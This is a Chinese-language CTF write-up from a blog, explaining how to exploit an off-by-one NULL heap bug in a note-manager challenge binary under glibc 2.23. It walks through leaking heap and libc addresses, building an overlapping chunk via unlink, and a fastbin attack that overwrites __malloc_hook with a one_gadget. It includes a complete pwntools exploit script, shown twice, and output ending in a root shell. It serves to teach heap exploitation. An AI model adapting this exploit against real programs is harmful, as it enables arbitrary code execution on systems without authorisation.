【CTF】off_by_one_NULL堆利用

Posted by zzz4ck on April 6, 2019

简介

CTF中的一道PWN题,漏洞点是off by one NULL。由于之前未做过堆利用的题目,而该题又涉及多个堆的知识点,因此做个笔记,以新手视角记录如何解决该题。

该题涉及的知识点(后文会展开讲解):

a) 堆信息泄露(堆地址&libc地址)

b) off_by_one_NULL

c) unlink

d) overlap

e) fastbin attack

ps:膜一波某白神,作为新手能理解该题,全靠某白神的writeup。

xxxx_note题目描述

OS: Ubuntu 64位

libc: glibc 2.23

基础防护:

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: PIE enabled

由于题目非外部公开,因此就不放原题了,该部分仅描述题目的逻辑和重点。 题目内容是一个笔记管理系统,仅具备增、查、删三个功能,且笔记数量约束为不超过3个(即index只能为0,1,2)。

题目运行效果如下:

$ ./xxxx_note 
1. new note
2. show note
3. delete note
4. exit
choice: 1
index: 0
size: 8
info: AAAAAAAA
1. new note
2. show note
3. delete note
4. exit
choice: 2
index: 0
AAAAAAA
1. new note
2. show note
3. delete note
4. exit
choice: 3
index: 0
1. new note
2. show note
3. delete note
4. exit
choice: 2
index: 0
1. new note
2. show note
3. delete note
4. exit
choice: 4
$ 

其中存在问题的new note函数如下:

__int64 new_note()
{
  int index; // [sp+Ch] [bp-14h]@1
  size_t size; // [sp+10h] [bp-10h]@2
  __int64 v3; // [sp+18h] [bp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  index = read_index();
  if ( index != -1 )
  {
    printf("size: ");
    read_size(&size);     // size是个无符号整数,因此最大可输入2^64
    if ( (size & 0x8000000000000000LL) == 0LL && !note_array[index] )
    {
      note_array[index] = malloc(size);      // 问题1:malloc时未限制size大小
      printf("info: ");                    // 问题2:未判断malloc是否成功
      read(0, note_array[index], size);      // 问题3:内存使用前未清零
      *((_BYTE *)note_array[index] + size - 1) = 0;      // off_by_one_NULL
      note_size_array[index] = size;
    }
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}

解题思路

根据分析new_note函数,我们发现了三个问题:

1) malloc时未限制size大小

2) 未判断malloc是否成功

3) 内存使用前未清零

这三个问题可进行如下利用:

1) 利用问题3,可以泄露堆地址和libc地址(从链表中取下堆块时,可以读到堆块在仍在链表里时的前项和后项,即fd和bk)

2) 利用问题1和2,可以造成off_by_one_NULL(size过大时malloc返回0,*((_BYTE *)note_array[index] + size - 1) = 0;等价于*((_BYTE *) size - 1) = 0;,即任意地址写零)

因此大致的解题思路如下:

1) 泄露堆地址和libc地址

2) 利用off_by_one_NULL和unlink构造fastbin的overlap

3) 利用fastbin attack和libc地址,将__malloc_hook的got修改为one_gadget

解题过程

关于堆的基本知识,推荐先在该网站进行了解:

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/introduction/

建议先阅读完成wiki中前三节的内容,再回到本博客继续阅读。

###1) 泄露堆地址和libc地址

bin中的chunk以链表的形式保存,将chunk从列表取下后,若未执行memset等清零操作,将能读取到链表的指针,即chunk的fd和bk。

不同的bin使用了不同的链表,本次使用unsortbin的双向链表,以方便一次性获取堆地址和libc地址

通过代码构造unsortbin如下:

代码如下:

# 1. leak heap & libc address

new_note(0, 0xf0-8, 'A'*(0xf0-8-1)) #chunk_AAA
new_note(1, 0x70-8, 'B'*(0x70-8-1)) #chunk_BBB
new_note(2, 0x100-8, 'C'*(0x100-8-1))   #chunk_CCC
delete_note(1)  #因为只能创建3个chunk,需要先删chunk_BBB
new_note(1, 0x10, 'D'*(0x10-1)) #chunk_DDD
delete_note(1)  #利用fastbin中chunk的pre_size为1特性,避免chunk_CCC释放时合入top chunk
new_note(1, 0x70-8, 'B'*(0x70-8-1)) #chunk_BBB is back
delete_note(2)  #free chunk_AAA to unsortbin
delete_note(0)  #free chunk_CCC to unsortbin
new_note(2, 0x100-8, 'C'*7) #chunk_CCC的bk为chunk_AAA的地址,即堆地址
addr = show_note(2)
heap = u64(addr[8:16])
log.info('heap address: %s', hex(heap))

new_note(0, 0xf0-8, 'A'*7)  #chunk_AAA的bk为main_arena+0x58的地址,即main_arena中top chunk的地址
addr = show_note(0)
main_arena = u64(addr[8:16])-0x58
log.info('main_arena address: %s', hex(main_arena))
libc = main_arena - libc_elf.symbols['__malloc_hook'] -0x10 #libc中__malloc_hook位于main_arena+0x10地址处
log.info('libc address: %s', hex(libc))
delete_note(0)
delete_note(1)
delete_note(2)

这里有个坑,由于malloc大size失败后,再次malloc时glibc会从thread_arena中分配内存,而不继续使用main_arena。

因此这里还需要先泄露thread_arena的地址(泄露方法同上):

# 2. switch thread_arena and leak address

new_note(0, heap+0x100, 'E')    #该chunk分配会失败,之后进入thread_arena
new_note(0, 0xf0-8, 'A'*(0xf0-8-1))
new_note(1, 0x70-8, 'B'*(0x70-8-1))
new_note(2, 0x100-8, 'C'*(0x100-8-1))
delete_note(1)
new_note(1, 0x10, 'D'*(0x10-1))
delete_note(1)
new_note(1, 0x70-8, 'B'*(0x70-8-1))
delete_note(2)
delete_note(0)
new_note(2, 0x100-8, 'C'*7)
addr = show_note(2)
thread_arena = u64(addr[8:16])
log.info('thread_arena address: %s', hex(thread_arena))
delete_note(1)
delete_note(2)

###2) 利用off_by_one_NULL和unlink构造fastbin的overlap

接下来开始布局overlap

注:overlap可以理解为堆块重叠,chunk_AAA中包含了chunk_BBB

此处需说明下,由于我们的操作都在thread_arena中进行,因此每个堆块的的NON_MAIN_ARENA位需要为1(即size&0x4==1)

因此我们通过off_by_one_NULL清空pre_isused的时候,也会把NON_MAIN_ARENA清空,所以需要先清空chunk_CCC的pre_isused位后,再分配chunk_CCC,将NON_MAIN_ARENA复位为1。

unlink前的布局如下:

代码如下:

# 3. overlay chunk_BBB(fastbin)

new_note(1, 0x70-8, 'B'*(0x70-8-8)+p64(0x160))  #构造chunk_BBB,并将chunk_CCC的pre_size设置为0x160,即unlink时将chunk_AAA也纳入合并
new_note(2, 0x10, 'D'*0x7)  #利用chunk_DDD,避免chunk_CCC释放时合入top chunk

new_note(0, thread_arena+0x160+8+1, '*')    #将chunk_CCC的pre_isused位先置空,若在chunk_CCC分配后置空,将影响NON_MAIN_ARENA位,因为在thread_arena中,所以NON_MAIN_ARENA位必须为1
new_note(0, 0x100-8, 'C'*(0x100-8-8))
delete_note(0)  #触发unlink,此时chunk_AAA、chunk_BBB和chunk_CCC合并为一块chunk,并放入unsortbin
delete_note(1)  #将chunk_BBB释放回fastbin,完成overlap,该步骤也可理解为double free

该步骤完成后,可利用pwngdb的arenainfo查看,可以看到我们的chunk_BBB已经在fastbin[5]中显示overlap

gdb-peda$ arenainfo
==================  Main Arena  ==================
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x55d4ff772000 (size : 0x21000) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
===================  Arena 1  ====================
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x7fa8b40009a0 (overlap chunk with 0x7fa8b40008b0(freed) )
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x7fa8b4000b30 (size : 0x204d0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x7fa8b40008b0 (size : 0x260)
gdb-peda$ 

###3) fastbin attack

现在我们手头有一个size为0x260并处于unsortbin的chunk,同时在该chunk中overlap了一个size为0x70的fastbin chunk。

Q:为什么overlap的chunk的size要是0x70?

A:因为fastbin的范围为0x20~0xb0,__malloc_hook附近只有高位地址的0x7f适合作为chunk的size,因此我们的chunk的size选用0x70,否则报错。

因此我们可以通过malloc unsortbin中的chunk,往overlap的chunk_BBB中填写数据,使得chunk_BBB的fd指向包含了__malloc_hook的数据块,第二次分配fastbin chunk时,即可对__malloc_hook进行改写。

通过一张图来说明:

代码如下:

# 4.fastbin attack

onegadget = libc + 0xf1147  #one_gadget在libc的偏移,可利用github的one_gadget工具得到

new_note(0, 0x160, 'A'*0xe0+p64(0xf0)+p64(0x74)+p64(libc+libc_elf.symbols['__malloc_hook']-0x23)+'B'*0x57)  #分配chunk_AAA,重点修改overlap的chunk_BBB的fd
new_note(1, 0x70-8, 'A'*(0x70-8-1)) #第一次分配fastbin,分配后fastbin指向__malloc_hook-0x23
delete_note(2)
new_note(2, 0x70-8, 'A'*0x13+p64(onegadget)+'zzz') #第二次分配fastbin,此时修改__malloc_hook为one_gadget
delete_note(1)

p.sendline('1')
p.recvuntil('index: ')
p.sendline('1')
p.recvuntil('size: ')
p.sendline('1')
p.interactive() #get shell

最终脚本

from pwn import *
import time

def new_note(index,size,info):
    p.sendline("1")
    #print 1
    p.recvuntil("index: ")
    p.sendline(str(index))
    #print index
    p.recv(512)
    p.sendline(str(size))
    #print size
    p.recvuntil("info: ")
    if info == '*':
        p.sendline('')
    else:
        p.sendline(info)
    #print info
    p.recvuntil("choice: ")

def show_note(index):
    p.sendline("2")
    #print 2
    p.recvuntil("index: ")
    p.sendline(str(index))
    #print index
    return p.recvuntil("choice: ")

def delete_note(index):
    p.sendline("3")
    #print 3
    p.recvuntil("index: ")
    p.sendline(str(index))
    #print index
    p.recvuntil("choice: ")

def exit():
    p.sendline("4")
    #print 4

context.arch = 'amd64'
context.log_level = 'info'
libc_elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process("./xxxx_note")
p.recvuntil("choice: ")

# 1. leak heap & libc address

new_note(0, 0xf0-8, 'A'*(0xf0-8-1)) #chunk_AAA
new_note(1, 0x70-8, 'B'*(0x70-8-1)) #chunk_BBB
new_note(2, 0x100-8, 'C'*(0x100-8-1))   #chunk_CCC
delete_note(1)  #因为只能创建3个chunk,需要先删chunk_BBB
new_note(1, 0x10, 'D'*(0x10-1)) #chunk_DDD
delete_note(1)  #利用fastbin中chunk的pre_size为1特性,避免chunk_CCC释放时合入top chunk
new_note(1, 0x70-8, 'B'*(0x70-8-1)) #chunk_BBB is back
delete_note(2)  #free chunk_AAA to unsortbin
delete_note(0)  #free chunk_CCC to unsortbin
new_note(2, 0x100-8, 'C'*7) #chunk_CCC的bk为chunk_AAA的地址,即堆地址
addr = show_note(2)
heap = u64(addr[8:16])
log.info('heap address: %s', hex(heap))

new_note(0, 0xf0-8, 'A'*7)  #chunk_AAA的bk为main_arena+0x58的地址,即main_arena中top chunk的地址
addr = show_note(0)
main_arena = u64(addr[8:16])-0x58
log.info('main_arena address: %s', hex(main_arena))
libc = main_arena - libc_elf.symbols['__malloc_hook'] -0x10 #libc中__malloc_hook位于main_arena+0x10地址处
log.info('libc address: %s', hex(libc))
delete_note(0)
delete_note(1)
delete_note(2)

# 2. switch thread_arena and leak address

new_note(0, heap+0x100, '*')    #该chunk分配会失败,之后进入thread_arena
new_note(0, 0xf0-8, 'A'*(0xf0-8-1))
new_note(1, 0x70-8, 'B'*(0x70-8-1))
new_note(2, 0x100-8, 'C'*(0x100-8-1))
delete_note(1)
new_note(1, 0x10, 'D'*(0x10-1))
delete_note(1)
new_note(1, 0x70-8, 'B'*(0x70-8-1))
delete_note(2)
delete_note(0)
new_note(2, 0x100-8, 'C'*7)
addr = show_note(2)
thread_arena = u64(addr[8:16])
log.info('thread_arena address: %s', hex(thread_arena))
delete_note(1)
delete_note(2)

# 3. overlay chunk_BBB(fastbin)

new_note(1, 0x70-8, 'B'*(0x70-8-8)+p64(0x160))  #构造chunk_BBB,并将chunk_CCC的pre_size设置为0x160,即unlink时将chunk_AAA也纳入合并
new_note(2, 0x10, 'D'*0x7)  #利用chunk_DDD,避免chunk_CCC释放时合入top chunk

new_note(0, thread_arena+0x160+8+1, '*')    #将chunk_CCC的pre_isused位先置空,若在chunk_CCC分配后置空,将影响NON_MAIN_ARENA位,因为在thread_arena中,所以NON_MAIN_ARENA位必须为1
new_note(0, 0x100-8, 'C'*(0x100-8-8))
delete_note(0)  #触发unlink,此时chunk_AAA、chunk_BBB和chunk_CCC合并为一块chunk,并放入unsortbin
delete_note(1)  #将chunk_BBB释放回fastbin,完成overlap,该步骤也可理解为double free

# 4.fastbin attack

onegadget = libc + 0xf1147  #one_gadget在libc的偏移,可利用github的one_gadget工具得到

new_note(0, 0x160, 'A'*0xe0+p64(0xf0)+p64(0x74)+p64(libc+libc_elf.symbols['__malloc_hook']-0x23)+'B'*0x57)  #分配chunk_AAA,重点修改overlap的chunk_BBB的fd
new_note(1, 0x70-8, 'A'*(0x70-8-1)) #第一次分配fastbin,分配后fastbin指向__malloc_hook-0x23
delete_note(2)
new_note(2, 0x70-8, 'A'*0x13+p64(onegadget)+'zzz') #第二次分配fastbin,此时修改__malloc_hook为one_gadget
delete_note(1)

p.sendline('1')
p.recvuntil('index: ')
p.sendline('1')
p.recvuntil('size: ')
p.sendline('1')
p.interactive() #get shell

exit()

运行效果:

$ python xxxx_note_wp.py 
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './xxxx_note': pid 55258
[*] heap address: 0x55692d9a5000
[*] main_arena address: 0x7f2f56cc5b20
[*] libc address: 0x7f2f56901000
[*] thread_arena address: 0x7f2f500008b0
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$